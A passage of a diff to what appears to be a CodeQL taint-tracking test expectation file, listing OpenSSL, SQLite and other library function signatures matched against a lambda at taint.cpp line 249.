| _FUN | (EC_GROUP *,int) | | EC_GROUP_set_curve_name | 1 | +| taint.cpp:249:13:249:13 | _FUN | (EC_KEY *,int) | | EC_KEY_clear_flags | 1 | +| taint.cpp:249:13:249:13 | _FUN | (EC_KEY *,int) | | EC_KEY_set_asn1_flag | 1 | +| taint.cpp:249:13:249:13 | _FUN | (EC_KEY *,int) | | EC_KEY_set_flags | 1 | +| taint.cpp:249:13:249:13 | _FUN | (ENGINE *,int) | | ENGINE_cmd_is_executable | 1 | +| taint.cpp:249:13:249:13 | _FUN | (ENGINE *,int) | | ENGINE_set_flags | 1 | +| taint.cpp:249:13:249:13 | _FUN | (EVP_CIPHER *,int) | | EVP_CIPHER_meth_set_impl_ctx_size | 1 | +| taint.cpp:249:13:249:13 | _FUN | (EVP_CIPHER *,int) | | EVP_CIPHER_meth_set_iv_length | 1 | +| taint.cpp:249:13:249:13 | _FUN | (EVP_CIPHER_CTX *,int) | | EVP_CIPHER_CTX_clear_flags | 1 | +| taint.cpp:249:13:249:13 | _FUN | (EVP_CIPHER_CTX *,int) | | EVP_CIPHER_CTX_set_flags | 1 | +| taint.cpp:249:13:249:13 | _FUN | (EVP_CIPHER_CTX *,int) | | EVP_CIPHER_CTX_set_key_length | 1 | +| taint.cpp:249:13:249:13 | _FUN | (EVP_CIPHER_CTX *,int) | | EVP_CIPHER_CTX_set_num | 1 | +| taint.cpp:249:13:249:13 | _FUN | (EVP_KEYMGMT *,int) | | evp_keymgmt_util_query_operation_name | 1 | +| taint.cpp:249:13:249:13 | _FUN | (EVP_MD *,int) | | EVP_MD_meth_set_app_datasize | 1 | +| taint.cpp:249:13:249:13 | _FUN | (EVP_MD *,int) | | EVP_MD_meth_set_input_blocksize | 1 | +| taint.cpp:249:13:249:13 | _FUN | (EVP_MD *,int) | | EVP_MD_meth_set_result_size | 1 | +| taint.cpp:249:13:249:13 | _FUN | (EVP_MD_CTX *,int) | | EVP_MD_CTX_clear_flags | 1 | +| taint.cpp:249:13:249:13 | _FUN | (EVP_MD_CTX *,int) | | EVP_MD_CTX_set_flags | 1 | +| taint.cpp:249:13:249:13 | _FUN | (EVP_PKEY *,int) | | EVP_PKEY_delete_attr | 1 | +| taint.cpp:249:13:249:13 | _FUN | (EVP_PKEY *,int) | | EVP_PKEY_save_parameters | 1 | +| taint.cpp:249:13:249:13 | _FUN | (EVP_PKEY *,int) | | EVP_PKEY_set_type | 1 | +| taint.cpp:249:13:249:13 | _FUN | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_get_keygen_info | 1 | +| taint.cpp:249:13:249:13 | _FUN | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_dh_kdf_type | 1 | +| taint.cpp:249:13:249:13 | _FUN | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_dh_nid | 1 | +| taint.cpp:249:13:249:13 | _FUN | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_dh_paramgen_type | 1 | +| taint.cpp:249:13:249:13 | _FUN | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_dh_rfc5114 | 1 | +| taint.cpp:249:13:249:13 | _FUN | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_dhx_rfc5114 | 1 | +| taint.cpp:249:13:249:13 | _FUN | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_ec_param_enc | 1 | +| taint.cpp:249:13:249:13 | _FUN | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_ec_paramgen_curve_nid | 1 | +| taint.cpp:249:13:249:13 | _FUN | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_ecdh_kdf_type | 1 | +| taint.cpp:249:13:249:13 | _FUN | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_hkdf_mode | 1 | +| taint.cpp:249:13:249:13 | _FUN | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_rsa_padding | 1 | +| taint.cpp:249:13:249:13 | _FUN | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_rsa_pss_saltlen | 1 | +| taint.cpp:249:13:249:13 | _FUN | (FFC_PARAMS *,int) | | ossl_ffc_params_set_gindex | 1 | +| taint.cpp:249:13:249:13 | _FUN | (FFC_PARAMS *,int) | | ossl_ffc_params_set_h | 1 | +| taint.cpp:249:13:249:13 | _FUN | (FFC_PARAMS *,int) | | ossl_ffc_params_set_pcounter | 1 | | taint.cpp:249:13:249:13 | _FUN | (LPCOLESTR,int) | CComBSTR | Append | 1 | +| taint.cpp:249:13:249:13 | _FUN | (OCSP_BASICRESP *,int) | | OCSP_BASICRESP_delete_ext | 1 | +| taint.cpp:249:13:249:13 | _FUN | (OCSP_BASICRESP *,int) | | OCSP_BASICRESP_get_ext | 1 | +| taint.cpp:249:13:249:13 | _FUN | (OCSP_BASICRESP *,int) | | OCSP_resp_get0 | 1 | +| taint.cpp:249:13:249:13 | _FUN | (OCSP_ONEREQ *,int) | | OCSP_ONEREQ_delete_ext | 1 | +| taint.cpp:249:13:249:13 | _FUN | (OCSP_ONEREQ *,int) | | OCSP_ONEREQ_get_ext | 1 | +| taint.cpp:249:13:249:13 | _FUN | (OCSP_REQUEST *,int) | | OCSP_REQUEST_delete_ext | 1 | +| taint.cpp:249:13:249:13 | _FUN | (OCSP_REQUEST *,int) | | OCSP_REQUEST_get_ext | 1 | +| taint.cpp:249:13:249:13 | _FUN | (OCSP_REQUEST *,int) | | OCSP_request_onereq_get0 | 1 | +| taint.cpp:249:13:249:13 | _FUN | (OCSP_SINGLERESP *,int) | | OCSP_SINGLERESP_delete_ext | 1 | +| taint.cpp:249:13:249:13 | _FUN | (OCSP_SINGLERESP *,int) | | OCSP_SINGLERESP_get_ext | 1 | +| taint.cpp:249:13:249:13 | _FUN | (OPENSSL_STACK *,int) | | OPENSSL_sk_delete | 1 | +| taint.cpp:249:13:249:13 | _FUN | (OPENSSL_STACK *,int) | | OPENSSL_sk_reserve | 1 | +| taint.cpp:249:13:249:13 | _FUN | (OPENSSL_sk_compfunc,int) | | OPENSSL_sk_new_reserve | 1 | +| taint.cpp:249:13:249:13 | _FUN | (OSSL_ACKM *,int) | | ossl_ackm_get_ack_deadline | 1 | +| taint.cpp:249:13:249:13 | _FUN | (OSSL_ACKM *,int) | | ossl_ackm_get_ack_frame | 1 | +| taint.cpp:249:13:249:13 | _FUN | (OSSL_ACKM *,int) | | ossl_ackm_get_largest_acked | 1 | +| taint.cpp:249:13:249:13 | _FUN | (OSSL_ACKM *,int) | | ossl_ackm_on_pkt_space_discarded | 1 | +| taint.cpp:249:13:249:13 | _FUN | (OSSL_CMP_CTX *,int) | | OSSL_CMP_CTX_set_serverPort | 1 | +| taint.cpp:249:13:249:13 | _FUN | (OSSL_CMP_CTX *,int) | | ossl_cmp_ctx_set_failInfoCode | 1 | +| taint.cpp:249:13:249:13 | _FUN | (OSSL_CMP_CTX *,int) | | ossl_cmp_ctx_set_status | 1 | +| taint.cpp:249:13:249:13 | _FUN | (OSSL_CMP_CTX *,int) | | ossl_cmp_msg_create | 1 | +| taint.cpp:249:13:249:13 | _FUN | (OSSL_CMP_CTX *,int) | | ossl_cmp_pollReq_new | 1 | +| taint.cpp:249:13:249:13 | _FUN | (OSSL_CMP_MSG *,int) | | ossl_cmp_msg_set_bodytype | 1 | +| taint.cpp:249:13:249:13 | _FUN | (OSSL_CMP_PKIHEADER *,int) | | ossl_cmp_hdr_set_pvno | 1 | +| taint.cpp:249:13:249:13 | _FUN | (OSSL_CMP_REVREPCONTENT *,int) | | ossl_cmp_revrepcontent_get_CertId | 1 | +| taint.cpp:249:13:249:13 | _FUN | (OSSL_CMP_REVREPCONTENT *,int) | | ossl_cmp_revrepcontent_get_pkisi | 1 | +| taint.cpp:249:13:249:13 | _FUN | (OSSL_CMP_SRV_CTX *,int) | | OSSL_CMP_SRV_CTX_set_accept_raverified | 1 | +| taint.cpp:249:13:249:13 | _FUN | (OSSL_CMP_SRV_CTX *,int) | | OSSL_CMP_SRV_CTX_set_accept_unprotected | 1 | +| taint.cpp:249:13:249:13 | _FUN | (OSSL_CMP_SRV_CTX *,int) | | OSSL_CMP_SRV_CTX_set_grant_implicit_confirm | 1 | +| taint.cpp:249:13:249:13 | _FUN | (OSSL_CMP_SRV_CTX *,int) | | OSSL_CMP_SRV_CTX_set_send_unprotected_errors | 1 | +| taint.cpp:249:13:249:13 | _FUN | (OSSL_CRMF_PKIPUBLICATIONINFO *,int) | | OSSL_CRMF_MSG_set_PKIPublicationInfo_action | 1 | +| taint.cpp:249:13:249:13 | _FUN | (OSSL_DECODER_CTX *,int) | | OSSL_DECODER_CTX_set_selection | 1 | +| taint.cpp:249:13:249:13 | _FUN | (OSSL_ENCODER_CTX *,int) | | OSSL_ENCODER_CTX_set_selection | 1 | +| taint.cpp:249:13:249:13 | _FUN | (OSSL_LIB_CTX *,int) | | OSSL_LIB_CTX_get_data | 1 | +| taint.cpp:249:13:249:13 | _FUN | (OSSL_LIB_CTX *,int) | | OSSL_LIB_CTX_set_conf_diagnostics | 1 | +| taint.cpp:249:13:249:13 | _FUN | (OSSL_LIB_CTX *,int) | | ossl_ctx_global_properties | 1 | +| taint.cpp:249:13:249:13 | _FUN | (OSSL_LIB_CTX *,int) | | ossl_dh_new_by_nid_ex | 1 | +| taint.cpp:249:13:249:13 | _FUN | (OSSL_LIB_CTX *,int) | | ossl_lib_ctx_get_data | 1 | +| taint.cpp:249:13:249:13 | _FUN | (OSSL_LIB_CTX *,int) | | ossl_mac_key_new | 1 | +| taint.cpp:249:13:249:13 | _FUN | (OSSL_PARAM *,int) | | OSSL_PARAM_set_int | 1 | +| taint.cpp:249:13:249:13 | _FUN | (OSSL_QRX *,int) | | ossl_qrx_get_bytes_received | 1 | +| taint.cpp:249:13:249:13 | _FUN | (OSSL_RECORD_LAYER *,int) | | tls_set_first_handshake | 1 | +| taint.cpp:249:13:249:13 | _FUN | (OSSL_RECORD_LAYER *,int) | | tls_set_plain_alerts | 1 | +| taint.cpp:249:13:249:13 | _FUN | (OSSL_STORE_CTX *,int) | | OSSL_STORE_expect | 1 | +| taint.cpp:249:13:249:13 | _FUN | (PKCS7 *,int) | | PKCS7_set_type | 1 | +| taint.cpp:249:13:249:13 | _FUN | (QUIC_CHANNEL *,int) | | ossl_quic_channel_new_stream_local | 1 | +| taint.cpp:249:13:249:13 | _FUN | (QUIC_ENGINE *,int) | | ossl_quic_engine_set_inhibit_tick | 1 | +| taint.cpp:249:13:249:13 | _FUN | (QUIC_PORT *,int) | | ossl_quic_port_set_allow_incoming | 1 | +| taint.cpp:249:13:249:13 | _FUN | (QUIC_RCIDM *,int) | | ossl_quic_rcidm_get_preferred_tx_dcid_changed | 1 | +| taint.cpp:249:13:249:13 | _FUN | (QUIC_RSTREAM *,int) | | ossl_quic_rstream_set_cleanse | 1 | +| taint.cpp:249:13:249:13 | _FUN | (QUIC_RXFC *,int) | | ossl_quic_rxfc_get_error | 1 | +| taint.cpp:249:13:249:13 | _FUN | (QUIC_RXFC *,int) | | ossl_quic_rxfc_has_cwm_changed | 1 | +| taint.cpp:249:13:249:13 | _FUN | (QUIC_SSTREAM *,int) | | ossl_quic_sstream_set_cleanse | 1 | +| taint.cpp:249:13:249:13 | _FUN | (QUIC_STREAM_MAP *,int) | | ossl_quic_stream_map_get_accept_queue_len | 1 | +| taint.cpp:249:13:249:13 | _FUN | (QUIC_TXFC *,int) | | ossl_quic_txfc_has_become_blocked | 1 | +| taint.cpp:249:13:249:13 | _FUN | (RSA *,int) | | RSA_clear_flags | 1 | +| taint.cpp:249:13:249:13 | _FUN | (RSA *,int) | | RSA_set_flags | 1 | +| taint.cpp:249:13:249:13 | _FUN | (RSA_METHOD *,int) | | RSA_meth_set_flags | 1 | +| taint.cpp:249:13:249:13 | _FUN | (RSA_PSS_PARAMS_30 *,int) | | ossl_rsa_pss_params_30_set_hashalg | 1 | +| taint.cpp:249:13:249:13 | _FUN | (RSA_PSS_PARAMS_30 *,int) | | ossl_rsa_pss_params_30_set_maskgenhashalg | 1 | +| taint.cpp:249:13:249:13 | _FUN | (RSA_PSS_PARAMS_30 *,int) | | ossl_rsa_pss_params_30_set_saltlen | 1 | +| taint.cpp:249:13:249:13 | _FUN | (RSA_PSS_PARAMS_30 *,int) | | ossl_rsa_pss_params_30_set_trailerfield | 1 | +| taint.cpp:249:13:249:13 | _FUN | (SSL *,int) | | SSL_key_update | 1 | +| taint.cpp:249:13:249:13 | _FUN | (SSL *,int) | | SSL_set_post_handshake_auth | 1 | +| taint.cpp:249:13:249:13 | _FUN | (SSL *,int) | | SSL_set_purpose | 1 | +| taint.cpp:249:13:249:13 | _FUN | (SSL *,int) | | SSL_set_quic_tls_early_data_enabled | 1 | +| taint.cpp:249:13:249:13 | _FUN | (SSL *,int) | | SSL_set_quiet_shutdown | 1 | +| taint.cpp:249:13:249:13 | _FUN | (SSL *,int) | | SSL_set_read_ahead | 1 | +| taint.cpp:249:13:249:13 | _FUN | (SSL *,int) | | SSL_set_security_level | 1 | +| taint.cpp:249:13:249:13 | _FUN | (SSL *,int) | | SSL_set_shutdown | 1 | +| taint.cpp:249:13:249:13 | _FUN | (SSL *,int) | | SSL_set_trust | 1 | +| taint.cpp:249:13:249:13 | _FUN | (SSL *,int) | | SSL_set_verify_depth | 1 | +| taint.cpp:249:13:249:13 | _FUN | (SSL_CONNECTION *,int) | | dtls1_read_failed | 1 | +| taint.cpp:249:13:249:13 | _FUN | (SSL_CONNECTION *,int) | | ossl_statem_send_fatal | 1 | +| taint.cpp:249:13:249:13 | _FUN | (SSL_CONNECTION *,int) | | ossl_statem_set_in_init | 1 | +| taint.cpp:249:13:249:13 | _FUN | (SSL_CONNECTION *,int) | | tls1_shared_group | 1 | +| taint.cpp:249:13:249:13 | _FUN | (SSL_CTX *,int) | | SSL_CTX_set_post_handshake_auth | 1 | +| taint.cpp:249:13:249:13 | _FUN | (SSL_CTX *,int) | | SSL_CTX_set_purpose | 1 | +| taint.cpp:249:13:249:13 | _FUN | (SSL_CTX *,int) | | SSL_CTX_set_quiet_shutdown | 1 | +| taint.cpp:249:13:249:13 | _FUN | (SSL_CTX *,int) | | SSL_CTX_set_security_level | 1 | +| taint.cpp:249:13:249:13 | _FUN | (SSL_CTX *,int) | | SSL_CTX_set_srp_strength | 1 | +| taint.cpp:249:13:249:13 | _FUN | (SSL_CTX *,int) | | SSL_CTX_set_trust | 1 | +| taint.cpp:249:13:249:13 | _FUN | (SSL_CTX *,int) | | SSL_CTX_set_verify_depth | 1 | +| taint.cpp:249:13:249:13 | _FUN | (SSL_CTX *,int) | | ssl_md | 1 | +| taint.cpp:249:13:249:13 | _FUN | (SSL_SESSION *,int) | | SSL_SESSION_set_protocol_version | 1 | +| taint.cpp:249:13:249:13 | _FUN | (TS_REQ *,int) | | TS_REQ_delete_ext | 1 | +| taint.cpp:249:13:249:13 | _FUN | (TS_REQ *,int) | | TS_REQ_get_ext | 1 | +| taint.cpp:249:13:249:13 | _FUN | (TS_RESP_CTX *,int) | | TS_RESP_CTX_add_flags | 1 | +| taint.cpp:249:13:249:13 | _FUN | (TS_STATUS_INFO *,int) | | TS_STATUS_INFO_set_status | 1 | +| taint.cpp:249:13:249:13 | _FUN | (TS_TST_INFO *,int) | | TS_TST_INFO_delete_ext | 1 | +| taint.cpp:249:13:249:13 | _FUN | (TS_TST_INFO *,int) | | TS_TST_INFO_get_ext | 1 | +| taint.cpp:249:13:249:13 | _FUN | (TS_VERIFY_CTX *,int) | | TS_VERIFY_CTX_add_flags | 1 | +| taint.cpp:249:13:249:13 | _FUN | (TS_VERIFY_CTX *,int) | | TS_VERIFY_CTX_set_flags | 1 | +| taint.cpp:249:13:249:13 | _FUN | (WPACKET *,int) | | ossl_DER_w_begin_sequence | 1 | +| taint.cpp:249:13:249:13 | _FUN | (X509 *,int) | | X509_delete_ext | 1 | +| taint.cpp:249:13:249:13 | _FUN | (X509 *,int) | | X509_self_signed | 1 | +| taint.cpp:249:13:249:13 | _FUN | (X509_ACERT *,int) | | X509_ACERT_delete_attr | 1 | +| taint.cpp:249:13:249:13 | _FUN | (X509_ATTRIBUTE *,int) | | X509_ATTRIBUTE_get0_type | 1 | +| taint.cpp:249:13:249:13 | _FUN | (X509_CRL *,int) | | X509_CRL_delete_ext | 1 | +| taint.cpp:249:13:249:13 | _FUN | (X509_NAME *,int) | | X509_NAME_delete_entry | 1 | +| taint.cpp:249:13:249:13 | _FUN | (X509_REQ *,int) | | X509_REQ_delete_attr | 1 | +| taint.cpp:249:13:249:13 | _FUN | (X509_REVOKED *,int) | | X509_REVOKED_delete_ext | 1 | +| taint.cpp:249:13:249:13 | _FUN | (X509_STORE *,int) | | X509_STORE_set_depth | 1 | +| taint.cpp:249:13:249:13 | _FUN | (X509_STORE *,int) | | X509_STORE_set_purpose | 1 | +| taint.cpp:249:13:249:13 | _FUN | (X509_STORE *,int) | | X509_STORE_set_trust | 1 | +| taint.cpp:249:13:249:13 | _FUN | (X509_STORE_CTX *,int) | | X509_STORE_CTX_set_depth | 1 | +| taint.cpp:249:13:249:13 | _FUN | (X509_STORE_CTX *,int) | | X509_STORE_CTX_set_error | 1 | +| taint.cpp:249:13:249:13 | _FUN | (X509_STORE_CTX *,int) | | X509_STORE_CTX_set_error_depth | 1 | +| taint.cpp:249:13:249:13 | _FUN | (X509_STORE_CTX *,int) | | X509_STORE_CTX_set_purpose | 1 | +| taint.cpp:249:13:249:13 | _FUN | (X509_STORE_CTX *,int) | | X509_STORE_CTX_set_trust | 1 | +| taint.cpp:249:13:249:13 | _FUN | (X509_VERIFY_PARAM *,int) | | X509_VERIFY_PARAM_get0_host | 1 | +| taint.cpp:249:13:249:13 | _FUN | (X509_VERIFY_PARAM *,int) | | X509_VERIFY_PARAM_set_auth_level | 1 | +| taint.cpp:249:13:249:13 | _FUN | (X509_VERIFY_PARAM *,int) | | X509_VERIFY_PARAM_set_depth | 1 | +| taint.cpp:249:13:249:13 | _FUN | (X509_VERIFY_PARAM *,int) | | X509_VERIFY_PARAM_set_purpose | 1 | +| taint.cpp:249:13:249:13 | _FUN | (X509_VERIFY_PARAM *,int) | | X509_VERIFY_PARAM_set_trust | 1 | +| taint.cpp:249:13:249:13 | _FUN | (acttab *,int) | | acttab_insert | 1 | +| taint.cpp:249:13:249:13 | _FUN | (char *,int) | | PEM_proc_type | 1 | | taint.cpp:249:13:249:13 | _FUN | (char,int) | CStringT | CStringT | 1 | +| taint.cpp:249:13:249:13 | _FUN | (const ASN1_BIT_STRING *,int) | | ASN1_BIT_STRING_get_bit | 1 | +| taint.cpp:249:13:249:13 | _FUN | (const BIGNUM *,int) | | BN_get_flags | 1 | +| taint.cpp:249:13:249:13 | _FUN | (const BIGNUM *,int) | | BN_is_bit_set | 1 | +| taint.cpp:249:13:249:13 | _FUN | (const BIO *,int) | | BIO_get_ex_data | 1 | +| taint.cpp:249:13:249:13 | _FUN | (const BIO *,int) | | BIO_test_flags | 1 | +| taint.cpp:249:13:249:13 | _FUN | (const CMS_SignerInfo *,int) | | CMS_signed_get_attr | 1 | +| taint.cpp:249:13:249:13 | _FUN | (const CMS_SignerInfo *,int) | | CMS_unsigned_get_attr | 1 | +| taint.cpp:249:13:249:13 | _FUN | (const CRYPTO_EX_DATA *,int) | | CRYPTO_get_ex_data | 1 | +| taint.cpp:249:13:249:13 | _FUN | (const DH *,int) | | DH_get_ex_data | 1 | +| taint.cpp:249:13:249:13 | _FUN | (const DH *,int) | | DH_test_flags | 1 | +| taint.cpp:249:13:249:13 | _FUN | (const DH *,int) | | ossl_dh_dup | 1 | +| taint.cpp:249:13:249:13 | _FUN | (const DSA *,int) | | DSA_get_ex_data | 1 | +| taint.cpp:249:13:249:13 | _FUN | (const DSA *,int) | | DSA_test_flags | 1 | +| taint.cpp:249:13:249:13 | _FUN | (const DSA *,int) | | ossl_dsa_dup | 1 | +| taint.cpp:249:13:249:13 | _FUN | (const ECX_KEY *,int) | | ossl_ecx_key_dup | 1 | +| taint.cpp:249:13:249:13 | _FUN | (const EC_KEY *,int) | | EC_KEY_get_ex_data | 1 | +| taint.cpp:249:13:249:13 | _FUN | (const EC_KEY *,int) | | ossl_ec_key_dup | 1 | +| taint.cpp:249:13:249:13 | _FUN | (const ENGINE *,int) | | ENGINE_get_ex_data | 1 | +| taint.cpp:249:13:249:13 | _FUN | (const EVP_CIPHER_CTX *,int) | | EVP_CIPHER_CTX_test_flags | 1 | +| taint.cpp:249:13:249:13 | _FUN | (const EVP_MD_CTX *,int) | | EVP_MD_CTX_test_flags | 1 | +| taint.cpp:249:13:249:13 | _FUN | (const EVP_PKEY *,int) | | EVP_PKEY_get_attr | 1 | +| taint.cpp:249:13:249:13 | _FUN | (const EVP_PKEY *,int) | | EVP_PKEY_get_ex_data | 1 | +| taint.cpp:249:13:249:13 | _FUN | (const ML_DSA_KEY *,int) | | ossl_ml_dsa_key_dup | 1 | +| taint.cpp:249:13:249:13 | _FUN | (const ML_KEM_KEY *,int) | | ossl_ml_kem_key_dup | 1 | +| taint.cpp:249:13:249:13 | _FUN | (const OPENSSL_STACK *,int) | | OPENSSL_sk_value | 1 | +| taint.cpp:249:13:249:13 | _FUN | (const OSSL_CMP_CERTREPMESSAGE *,int) | | ossl_cmp_certrepmessage_get0_certresponse | 1 | +| taint.cpp:249:13:249:13 | _FUN | (const OSSL_CMP_CTX *,int) | | OSSL_CMP_CTX_get0_newPkey | 1 | +| taint.cpp:249:13:249:13 | _FUN | (const OSSL_CMP_CTX *,int) | | OSSL_CMP_CTX_get_option | 1 | +| taint.cpp:249:13:249:13 | _FUN | (const OSSL_CMP_PKISI *,int) | | ossl_cmp_pkisi_check_pkifailureinfo | 1 | +| taint.cpp:249:13:249:13 | _FUN | (const OSSL_CMP_POLLREPCONTENT *,int) | | ossl_cmp_pollrepcontent_get0_pollrep | 1 | +| taint.cpp:249:13:249:13 | _FUN | (const QUIC_CHANNEL *,int) | | ossl_quic_channel_get_local_stream_count_avail | 1 | +| taint.cpp:249:13:249:13 | _FUN | (const QUIC_CHANNEL *,int) | | ossl_quic_channel_get_remote_stream_count_avail | 1 | +| taint.cpp:249:13:249:13 | _FUN | (const RSA *,int) | | RSA_get_ex_data | 1 | +| taint.cpp:249:13:249:13 | _FUN | (const RSA *,int) | | RSA_test_flags | 1 | +| taint.cpp:249:13:249:13 | _FUN | (const RSA *,int) | | ossl_rsa_dup | 1 | +| taint.cpp:249:13:249:13 | _FUN | (const SLH_DSA_KEY *,int) | | ossl_slh_dsa_key_dup | 1 | +| taint.cpp:249:13:249:13 | _FUN | (const SSL *,int) | | SSL_get_ex_data | 1 | +| taint.cpp:249:13:249:13 | _FUN | (const SSL_CTX *,int) | | SSL_CTX_get_ex_data | 1 | +| taint.cpp:249:13:249:13 | _FUN | (const SSL_SESSION *,int) | | SSL_SESSION_get_ex_data | 1 | +| taint.cpp:249:13:249:13 | _FUN | (const SSL_SESSION *,int) | | ssl_session_dup | 1 | +| taint.cpp:249:13:249:13 | _FUN | (const UI *,int) | | UI_get_ex_data | 1 | +| taint.cpp:249:13:249:13 | _FUN | (const UI_METHOD *,int) | | UI_method_get_ex_data | 1 | +| taint.cpp:249:13:249:13 | _FUN | (const X509 *,int) | | X509_get_ex_data | 1 | +| taint.cpp:249:13:249:13 | _FUN | (const X509 *,int) | | X509_get_ext | 1 | +| taint.cpp:249:13:249:13 | _FUN | (const X509_ACERT *,int) | | X509_ACERT_get_attr | 1 | +| taint.cpp:249:13:249:13 | _FUN | (const X509_CRL *,int) | | X509_CRL_get_ext | 1 | +| taint.cpp:249:13:249:13 | _FUN | (const X509_NAME *,int) | | X509_NAME_get_entry | 1 | +| taint.cpp:249:13:249:13 | _FUN | (const X509_POLICY_LEVEL *,int) | | X509_policy_level_get0_node | 1 | +| taint.cpp:249:13:249:13 | _FUN | (const X509_POLICY_TREE *,int) | | X509_policy_tree_get0_level | 1 | +| taint.cpp:249:13:249:13 | _FUN | (const X509_REQ *,int) | | X509_REQ_get_attr | 1 | +| taint.cpp:249:13:249:13 | _FUN | (const X509_REVOKED *,int) | | X509_REVOKED_get_ext | 1 | +| taint.cpp:249:13:249:13 | _FUN | (const X509_STORE *,int) | | X509_STORE_get_ex_data | 1 | +| taint.cpp:249:13:249:13 | _FUN | (const X509_STORE_CTX *,int) | | X509_STORE_CTX_get_ex_data | 1 | | taint.cpp:249:13:249:13 | _FUN | (const XCHAR *,int) | CStringT | CStringT | 1 | | taint.cpp:249:13:249:13 | _FUN | (const YCHAR *,int) | CStringT | CStringT | 1 | +| taint.cpp:249:13:249:13 | _FUN | (const char *,int) | | DH_meth_new | 1 | +| taint.cpp:249:13:249:13 | _FUN | (const char *,int) | | DSA_meth_new | 1 | +| taint.cpp:249:13:249:13 | _FUN | (const char *,int) | | Jim_StrDupLen | 1 | +| taint.cpp:249:13:249:13 | _FUN | (const char *,int) | | NETSCAPE_SPKI_b64_decode | 1 | +| taint.cpp:249:13:249:13 | _FUN | (const char *,int) | | RSA_meth_new | 1 | +| taint.cpp:249:13:249:13 | _FUN | (const char *,int) | | parse_yesno | 1 | +| taint.cpp:249:13:249:13 | _FUN | (const stack_st_X509_ATTRIBUTE *,int) | | X509at_get_attr | 1 | +| taint.cpp:249:13:249:13 | _FUN | (const stack_st_X509_EXTENSION *,int) | | X509v3_get_ext | 1 | +| taint.cpp:249:13:249:13 | _FUN | (const unsigned char *,int) | | Jim_GenHashFunction | 1 | +| taint.cpp:249:13:249:13 | _FUN | (const unsigned char *,int) | | OPENSSL_uni2asc | 1 | +| taint.cpp:249:13:249:13 | _FUN | (const unsigned char *,int) | | OPENSSL_uni2utf8 | 1 | +| taint.cpp:249:13:249:13 | _FUN | (int *,int) | | X509_PURPOSE_set | 1 | +| taint.cpp:249:13:249:13 | _FUN | (int *,int) | | X509_TRUST_set | 1 | +| taint.cpp:249:13:249:13 | _FUN | (int,int) | | BN_security_bits | 0 | +| taint.cpp:249:13:249:13 | _FUN | (int,int) | | BN_security_bits | 1 | +| taint.cpp:249:13:249:13 | _FUN | (int,int) | | EVP_MD_meth_new | 0 | +| taint.cpp:249:13:249:13 | _FUN | (int,int) | | EVP_MD_meth_new | 1 | +| taint.cpp:249:13:249:13 | _FUN | (int,int) | | EVP_PKEY_meth_new | 0 | +| taint.cpp:249:13:249:13 | _FUN | (int,int) | | EVP_PKEY_meth_new | 1 | +| taint.cpp:249:13:249:13 | _FUN | (int,int) | | acttab_alloc | 0 | +| taint.cpp:249:13:249:13 | _FUN | (int,int) | | acttab_alloc | 1 | +| taint.cpp:249:13:249:13 | _FUN | (rule *,int) | | Configlist_add | 1 | +| taint.cpp:249:13:249:13 | _FUN | (rule *,int) | | Configlist_addbasis | 1 | +| taint.cpp:249:13:249:13 | _FUN | (sqlite3 *,int) | | sqlite3_busy_timeout | 1 | +| taint.cpp:249:13:249:13 | _FUN | (sqlite3 *,int) | | sqlite3_db_name | 1 | +| taint.cpp:249:13:249:13 | _FUN | (sqlite3 *,int) | | sqlite3_wal_autocheckpoint | 1 | +| taint.cpp:249:13:249:13 | _FUN | (sqlite3_backup *,int) | | sqlite3_backup_step | 1 | +| taint.cpp:249:13:249:13 | _FUN | (sqlite3_context *,int) | | sqlite3_aggregate_context | 1 | +| taint.cpp:249:13:249:13 | _FUN | (sqlite3_context *,int) | | sqlite3_result_error_code | 1 | +| taint.cpp:249:13:249:13 | _FUN | (sqlite3_index_info *,int) | | sqlite3_vtab_collation | 1 | +| taint.cpp:249:13:249:13 | _FUN | (sqlite3_stmt *,int) | | sqlite3_bind_parameter_name | 1 | +| taint.cpp:249:13:249:13 | _FUN | (sqlite3_stmt *,int) | | sqlite3_column_blob | 1 | +| taint.cpp:249:13:249:13 | _FUN | (sqlite3_stmt *,int) | | sqlite3_column_bytes | 1 | +| taint.cpp:249:13:249:13 | _FUN | (sqlite3_stmt *,int) | | sqlite3_column_bytes16 | 1 | +| taint.cpp:249:13:249:13 | _FUN | (sqlite3_stmt *,int) | | sqlite3_column_decltype | 1 | +| taint.cpp:249:13:249:13 | _FUN | (sqlite3_stmt *,int) | | sqlite3_column_decltype16 | 1 | +| taint.cpp:249:13:249:13 | _FUN | (sqlite3_stmt *,int) | | sqlite3_column_double | 1 | +| taint.cpp:249:13:249:13 | _FUN | (sqlite3_stmt *,int) | | sqlite3_column_int | 1 | +| taint.cpp:249:13:249:13 | _FUN | (sqlite3_stmt *,int) | | sqlite3_column_int64 | 1 | +| taint.cpp:249:13:249:13 | _FUN | (sqlite3_stmt *,int) | | sqlite3_column_name | 1 | +| taint.cpp:249:13:249:13 | _FUN | (sqlite3_stmt *,int) | | sqlite3_column_name16 | 1 | +| taint.cpp:249:13:249:13 | _FUN | (sqlite3_stmt *,int) | | sqlite3_column_text | 1 | +| taint.cpp:249:13:249:13 | _FUN | (sqlite3_stmt *,int) | | sqlite3_column_text16 | 1 | +| taint.cpp:249:13:249:13 | _FUN | (sqlite3_stmt *,int) | | sqlite3_column_type | 1 | +| taint.cpp:249:13:249:13 | _FUN | (sqlite3_stmt *,int) | | sqlite3_column_value | 1 | +| taint.cpp:249:13:249:13 | _FUN | (sqlite3_stmt *,int) | | sqlite3_stmt_explain | 1 | +| taint.cpp:249:13:249:13 | _FUN | (stack_st_PKCS7 *,int) | | PKCS12_add_safes | 1 | +| taint.cpp:249:13:249:13 | _FUN | (stack_st_SSL_COMP *,int) | | ssl3_comp_find | 1 | +| taint.cpp:249:13:249:13 | _FUN | (stack_st_X509_ATTRIBUTE *,int) | | X509at_delete_attr | 1 | +| taint.cpp:249:13:249:13 | _FUN | (stack_st_X509_EXTENSION *,int) | | X509v3_delete_ext | 